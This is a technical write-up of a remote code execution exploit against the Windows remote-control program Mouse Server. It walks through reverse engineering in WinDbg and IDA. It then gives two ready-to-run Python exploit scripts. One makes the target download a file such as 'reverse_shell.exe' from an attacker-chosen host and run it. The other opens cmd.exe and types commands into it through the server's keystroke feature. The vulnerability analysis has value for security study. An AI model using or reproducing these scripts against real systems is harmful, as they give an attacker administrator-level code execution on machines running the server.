Mouse Server

Technical analysis of Mouse Server exploit

OS : Windows

Version : Latest

Vulnerability : By-design remote code execution on MouseServer servers.

Pre-Requisites to follow along : Basic knowledge on assembly, IDA & WinDbg

Impact : Code Execution as Administrator

Technical Analysis

Lets begin by performing static analysis of MouseServer first. Upon installing mouse server on our windows VM, we analysis running ports via tcpdump utility.

Output shows that MouseServer.exe is listening on port 1978 on our VM. Lets use telnet to connect to this port. Telnet shows that string "system windows 6.2" is printed once you connect to the port which implies that before sending data over the socket, we need to first fetch this string and post that send our payload. Given that, lets start by sending some random data to this port and analyse the input flow.

We attach WinDbg to the process and set a breakpoint at ws2_32!recv. The reason we choose this WinAPI is because it is the most commonly used API for receiving data over TCP socket. This implies that if input is received over TCP, then this API will get triggered and upon finishing the call to recv we will land directly into code which performs analysis over our input buffer.

Let's verify this hypothesis.

Open Windbg as Administrator and attach itself to MouseServer.exe . Using narly to view the properties of executable shows that MouseServer is compiled with DEP and SafeSEH but is not compiled with ASLR. This is common mistake where developers often forgets to build the executable with ASLR.

Alright, enough chat, lets set a breakpoint. We will be using the following script to send data to MouseServer

import socket
import sys
import struct
import time

if __name__ == "__main__":
    target = sys.argv[1]
    port = 1978
    
    buf = b"A"*100
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((target,port))
    print(s.recv(1024))
    s.send(buf)
    s.close()

Executing the above code triggers the breakpoint in Windbg

Lets return from this function and we will find the address we step right into.

Notice that eax contains 0x64 which is the length of input buffer. Lets take note of this address 0040A7D0 and open it in IDA. Look at Windbg the base address of MouseServer.exe is at 0x400000 and since there is no ASLR base address remains constant across several execution.

eax is compared against -1 which likely checks if recv call is successful. Stepping through windbg we reach a function call at 0x40a7F4. Looking at the arguments shows that some values + our input buffer is passed into it.

Educated guess suggests that there is some sort of structure being used by developer which looks something like this :-

struct input{
    dword some_value;            # 0x0000049c over here
    dword input_size;            # 0x64 here
    char *input;
}

Keeping this in mind, lets look into function sub_40ABD0 in IDA.

As shown, edi points to argument i.e the input structure. [edi+4] is input_size which implies that size of input should be greater than/ equal to 3.

Now, [edi+9] is loaded into esi which directly points to our input buffer. Next few instruction suggests that if first 3 chracters are either key or mos function sub_40D9C0 is called or else sub_40BF30 is called. Also note that at address 0x40ac0f strstr function is called which basically makes sure that the last character is \n.

Therefore new input will now be couple of As followed by \n.

Analysing function sub_40Bf30 shows that there are multiple comparisions being made against input buffer. Extensive search for the right branch leads us to multiple interesting comparisons i.e openfile,browser openurl and utf8 . Lets analyse each of each branch to prepare the exploit chain.

Combination 1 : Browser OpenURL + OpenFile

At address 0040CEC9 input is compared against "browser openurl " string. Following down the rabbit hole we notice that eventually ShellExecuteA is called.

Lets send input as browser openurl http://google.com to the server with breakpoint at 40cec9.

Following the input in windbg shows that eventually ShellExecuteA(0,open,"http://google.com",0,0,3) is called. Continuing the execution reveals that http://google.com is opened in browser. We now have a way to make target download our payload.

At address 0040D61F input is compared against "openfile " string. Following down the rabbit hole we notice that eventually move to 0040D6A0 address

Lets send our input as "openfile C:\\Windows\\System32\\cmd.exe\n" to server with breakpoint at 40d627

Following the input in windbg shows that eventually C:\\Windows\\System32\\cmd.exe is passed to function sub_4044d0 at 40d6be . Continuing the execution reveals that indeed cmd.exe is executed on target. We now have a way to execute payloads on target.

Final Exploit :-

import socket
import struct
import sys
import time

def exploit(target,port,attack_ip,attack_port,filename):
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((target,port))
    print("f[!] Downloading {filename} from http://{ip}:{port}!")
    buf = b"browser openurl http://"+attack_ip+b":"+attack_port+b"/"+filename+b"\n"
    s.send(buf)
    time.sleep(0.1)
    print(f"[!] Executing {filename} on target")
    buf = b"openfile C:\\Users\\%USERNAME%\\Downloads\\"+filename+b"\n"
    s.send(buf)
    time.sleep(0.1)
    print("[!] Executed!")
    s.close()

if __name__=="__main__":
    target = sys.argv[1]
    port = 1978
    
    attacker_ip = 127.0.0.1 #Insert your IP here
    attacker_port = 8080    # Insert your port here
    filename = "reverse_shell.exe"        # Insert file to be downloaded on target
    exploit(target,port,attacker_ip,attacker_port,filename)

Combination 2 : OpenFile + UTF8

We have already discussed about OpenFile, lets discuss about utf8 comparision.

At address 040C388 comparision is made against 5 bytes of input with "utf8 ". Upon successful comparision it goes down straight into 040C3A2 i.e function sub_40F030 .

Notice that ecx has been made point to [ebp-101B]. Dynamic analysis with windbg shows that this is indeed our input buffer followed by "utf8 ". For instance if we input "utf8 C:\\Windows\\System32\\cmd.exe", the string C:\\Windows\\System32\\cmd.exe is pased into ecx . Lets deep dive into function sub_40F030.

The function seems to be first getting foreground window and check if it is compatible with unicode strings. If yes, then only it goes ahead and gets all threads of GUI foreground. Conituing, we notice that SendInput API is called which is generally used to synthesize keyboard strokes. Hence we might be actually typing our input in the foreground windows. To confirm this, lets set a breakpoint at 40F18E to look at the arguments of SendInput

Looking at documentation of SendInput API, it seems that eax contains tagINPUT structure defined as :-

typedef struct tagINPUT {
  DWORD type;
  union {
    MOUSEINPUT    mi;
    KEYBDINPUT    ki;
    HARDWAREINPUT hi;
  } DUMMYUNIONNAME;
} INPUT, *PINPUT, *LPINPUT;

The first element i.e type indicates whether its a keyboard or mouse stroke. As shown the first dword is 0x1 in our case which indicates keyboard stroke. Next is union of 3 structures i.e and since its a keyboard input there is high chance it will be indeed KEYBDINPUT structure. Lets expand this in windbg

Continuing the execution shows that the input bytes are printed in windbg output since that is the application running in foreground. We have now just a last challenge to solve for which is new line. In windows new line is denoted by \r\n , but during the initial branch of code there is a check for \n in sub_40bf30 where it looks for \n initially and only considers the first part of string. Later there is also check for \r where same strategy is being applied as code only considers first part of string without /r.

The trick here is the check against \n is being done by strstr function but check against \r is being done by a single comparision against last character of the string pointer returned by strstr. Hence we can supply 2 \r to make sure \r is passed into input flow to indicate a new line.

Final Exploit :-

import socket
import struct
import sys
import time

def exploit(target,port,payload):
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((target,port))
    print("f[!] Opening cmd.exe")
    buf = b"openfile C:\\Windows\\System32\\cmd.exe\n"
    s.send(buf)
    time.sleep(0.1)
    print(f"[!] Executing {payload} on target")
    buf = b"utf8 "+payload+b"\r\r\n"
    s.send(buf)
    time.sleep(0.1)
    print("[!] Executed!")
    s.close()

if __name__=="__main__":
    target = sys.argv[1]
    port = 1978    
    payload = b"calc.exe"
    exploit(target,port,payload) 

Thanks for reading !

Last updated